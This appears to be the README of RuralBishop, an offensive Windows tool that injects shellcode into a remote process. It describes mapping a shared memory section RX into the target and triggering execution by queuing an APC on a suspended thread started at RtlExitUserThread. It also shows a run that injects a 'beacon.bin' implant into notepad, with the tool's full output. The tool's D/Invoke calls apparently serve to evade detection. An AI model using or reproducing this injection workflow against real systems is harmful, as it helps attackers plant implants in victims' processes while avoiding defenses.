RuralBishop is practically a carbon copy of UrbanBishop by b33f, but all P/Invoke calls have been replaced with D/Invoke.
This creates a local RW section in RuralBishop and then maps that section as RX into a remote process. Once the shared section has been established the shellcode is written to the local section which then automatically propagates to the remote process. For execution RuralBishop creates a remote suspended thread (start address is set to ntdll!RtlExitUserThread) and queues an APC on that thread. Once resumed with NtAlertResumeThread, the shellcode executes and the thread exits gracefully on completion.
C:\> RuralBishop.exe -p C:\Users\Rasta\Desktop\beacon.bin -i 14680
_O _____ _
/ //\ | __ |_ _ ___ ___| |
{ } | -| | | _| .'| |
\___/ |__|__|___|_| |__,|_|
(___)
|_| _____ _ _
/ \ | __ |_|___| |_ ___ ___
(_____) | __ -| |_ -| | . | . |
(_______) |_____|_|___|_|_|___| _|
/_______\ |_|
~b33f~ ~rasta~
|--------
| Process : notepad
| Handle : 696
| Is x32 : False
| Sc binpath : C:\Users\Rasta\Desktop\beacon.bin
|--------
[>] Creating local section..
|-> hSection: 0x2B4
|-> Size: 261120
|-> pBase: 0xC30000
[>] Map RX section to remote proc..
|-> pRemoteBase: 0x1E5D86C0000
[>] Write shellcode to local section..
|-> Size: 261120
[>] Seek export offset..
|-> pRemoteNtDllBase: 0x7FFC44BA0000
|-> LdrGetDllHandle OK
|-> RtlExitUserThread: 0x7FFC44C0A2A0
|-> Offset: 0x6A2A0
[>] NtCreateThreadEx -> RtlExitUserThread <- Suspended..
|-> Success
[>] Set APC trigger & resume thread..
|-> NtQueueApcThread
|-> NtAlertResumeThread